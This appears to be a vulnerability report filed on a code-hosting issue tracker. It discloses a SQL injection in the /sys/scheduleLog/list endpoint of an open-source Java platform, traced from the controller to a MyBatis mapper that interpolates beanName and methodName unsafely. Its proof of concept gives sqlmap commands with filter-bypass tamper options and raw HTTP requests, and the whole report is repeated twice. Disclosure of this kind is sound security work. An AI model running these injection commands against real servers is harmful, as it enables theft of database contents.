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SQL injection vulnerability on /sys/scheduleLog/list
待办的
#ICLIK1
ZAST
创建于
2025-07-10 19:48
# Summary In the latest version, two parameters passed to the endpoint /sys/scheduleLog/list are user-controllable and not sanitized, and no prepared statements are used when executing the final SQL query, resulting in a SQL injection vulnerability. Attackers can exploit this vulnerability to obtain sensitive data from the database and even gain complete control of the server. --- # Details ### tested version: - commit (2025-06-29): https://gitee.com/fuyang_lipengjun/platform/commit/ca9aceff6902feb7b0b6bf510842aea88430796a ### vulnerable endpoint with parameters: - http://127.0.0.1:8090/sys/scheduleLog/list?beanName=1 - http://127.0.0.1:8090/sys/scheduleLog/list?methodName=1 ### taint analysis: - com/platform/controller/ScheduleJobLogController.java ``` @GetMapping("/list") @RequiresPermissions("sys:schedule:log") public R list(@RequestParam Map<String, Object> params) { PageUtilsPlus page = scheduleJobLogService.queryPage(params); return R.ok().put("page", page); } public PageUtilsPlus queryPage(Map<String, Object> params) { params.put("sidx", "T.CREATE_TIME"); params.put("asc", false); Page<ScheduleJobLogEntity> page = new QueryPlus<ScheduleJobLogEntity>(params).getPage(); return new PageUtilsPlus(page.setRecords(baseMapper.selectScheduleJobLogPage(page, params))); } ``` - platform-schedule/src/main/resources/com/platform/dao/ScheduleJobLogDao.xml ``` <mapper namespace="com.platform.dao.ScheduleJobLogDao"> <select id="selectScheduleJobLogPage" resultType="com.platform.entity.ScheduleJobLogEntity"> SELECT T.LOG_ID, T.JOB_ID, T.BEAN_NAME, T.METHOD_NAME, T.PARAMS, T.STATUS, T.ERROR, T.TIMES, T.CREATE_TIME FROM SCHEDULE_JOB_LOG T WHERE 1=1 # The spaces have already been filtered here, have to use SQLMap to bypass it. <if test="params.beanName != null and params.beanName.trim() != ''"> AND T.BEAN_NAME LIKE '%${params.beanName}%' </if> <if test="params.methodName != null and params.methodName.trim() != ''"> AND T.METHOD_NAME LIKE '%${params.methodName}%' </if> </select> </mapper> ``` --- # POC - sqlmap ``` python sqlmap.py -r request1.txt -p beanName --technique=T --time-sec=5 --tamper=charencode,between --level 5 --flush-session -v 3 --current-user python sqlmap.py -r request2.txt -p methodName --tamper=charencode,between --level 5 --flush-session -v 3 --current-db --batch ``` - request1.txt: ``` GET /sys/scheduleLog/list?beanName=1 HTTP/1.1 Host: 127.0.0.1:8090 sec-ch-ua: "Chromium";v="117", "Not;A=Brand";v="8" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: zh-CN,zh;q=0.9 Cookie: Hm_lvt_0febd9e3cacb3f627ddac64d52caac39=1731650791,1731654510,1731728152,1732103223; Hm_lvt_4656e49e8efa9f2ad6868ea26fb8984c=1732174546,1732190281,1732246265; HMACCOUNT=BC6BAB194A1BD82C; JSESSIONID=657c7f07-2b3c-4dd3-8537-ef2f1e6ad2d8; Hm_lpvt_4656e49e8efa9f2ad6868ea26fb8984c=1732252454 Connection: close ``` - request2.txt: ``` GET /sys/scheduleLog/list?methodName=1 HTTP/1.1 Host: 127.0.0.1:8090 Cookie: Hm_lvt_0febd9e3cacb3f627ddac64d52caac39=1751943490; JSESSIONID=1c82df05-f51c-4643-beab-44ed710954e6; Hm_lvt_4656e49e8efa9f2ad6868ea26fb8984c=1752038683; HMACCOUNT=07E32C2CE82754B5; Hm_lpvt_4656e49e8efa9f2ad6868ea26fb8984c=1752039013 Connection: close ```   --- # Impact https://portswigger.net/web-security/sql-injection#what-is-the-impact-of-a-successful-sql-injection-attack ---
# Summary In the latest version, two parameters passed to the endpoint /sys/scheduleLog/list are user-controllable and not sanitized, and no prepared statements are used when executing the final SQL query, resulting in a SQL injection vulnerability. Attackers can exploit this vulnerability to obtain sensitive data from the database and even gain complete control of the server. --- # Details ### tested version: - commit (2025-06-29): https://gitee.com/fuyang_lipengjun/platform/commit/ca9aceff6902feb7b0b6bf510842aea88430796a ### vulnerable endpoint with parameters: - http://127.0.0.1:8090/sys/scheduleLog/list?beanName=1 - http://127.0.0.1:8090/sys/scheduleLog/list?methodName=1 ### taint analysis: - com/platform/controller/ScheduleJobLogController.java ``` @GetMapping("/list") @RequiresPermissions("sys:schedule:log") public R list(@RequestParam Map<String, Object> params) { PageUtilsPlus page = scheduleJobLogService.queryPage(params); return R.ok().put("page", page); } public PageUtilsPlus queryPage(Map<String, Object> params) { params.put("sidx", "T.CREATE_TIME"); params.put("asc", false); Page<ScheduleJobLogEntity> page = new QueryPlus<ScheduleJobLogEntity>(params).getPage(); return new PageUtilsPlus(page.setRecords(baseMapper.selectScheduleJobLogPage(page, params))); } ``` - platform-schedule/src/main/resources/com/platform/dao/ScheduleJobLogDao.xml ``` <mapper namespace="com.platform.dao.ScheduleJobLogDao"> <select id="selectScheduleJobLogPage" resultType="com.platform.entity.ScheduleJobLogEntity"> SELECT T.LOG_ID, T.JOB_ID, T.BEAN_NAME, T.METHOD_NAME, T.PARAMS, T.STATUS, T.ERROR, T.TIMES, T.CREATE_TIME FROM SCHEDULE_JOB_LOG T WHERE 1=1 # The spaces have already been filtered here, have to use SQLMap to bypass it. <if test="params.beanName != null and params.beanName.trim() != ''"> AND T.BEAN_NAME LIKE '%${params.beanName}%' </if> <if test="params.methodName != null and params.methodName.trim() != ''"> AND T.METHOD_NAME LIKE '%${params.methodName}%' </if> </select> </mapper> ``` --- # POC - sqlmap ``` python sqlmap.py -r request1.txt -p beanName --technique=T --time-sec=5 --tamper=charencode,between --level 5 --flush-session -v 3 --current-user python sqlmap.py -r request2.txt -p methodName --tamper=charencode,between --level 5 --flush-session -v 3 --current-db --batch ``` - request1.txt: ``` GET /sys/scheduleLog/list?beanName=1 HTTP/1.1 Host: 127.0.0.1:8090 sec-ch-ua: "Chromium";v="117", "Not;A=Brand";v="8" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: zh-CN,zh;q=0.9 Cookie: Hm_lvt_0febd9e3cacb3f627ddac64d52caac39=1731650791,1731654510,1731728152,1732103223; Hm_lvt_4656e49e8efa9f2ad6868ea26fb8984c=1732174546,1732190281,1732246265; HMACCOUNT=BC6BAB194A1BD82C; JSESSIONID=657c7f07-2b3c-4dd3-8537-ef2f1e6ad2d8; Hm_lpvt_4656e49e8efa9f2ad6868ea26fb8984c=1732252454 Connection: close ``` - request2.txt: ``` GET /sys/scheduleLog/list?methodName=1 HTTP/1.1 Host: 127.0.0.1:8090 Cookie: Hm_lvt_0febd9e3cacb3f627ddac64d52caac39=1751943490; JSESSIONID=1c82df05-f51c-4643-beab-44ed710954e6; Hm_lvt_4656e49e8efa9f2ad6868ea26fb8984c=1752038683; HMACCOUNT=07E32C2CE82754B5; Hm_lpvt_4656e49e8efa9f2ad6868ea26fb8984c=1752039013 Connection: close ```   --- # Impact https://portswigger.net/web-security/sql-injection#what-is-the-impact-of-a-successful-sql-injection-attack ---
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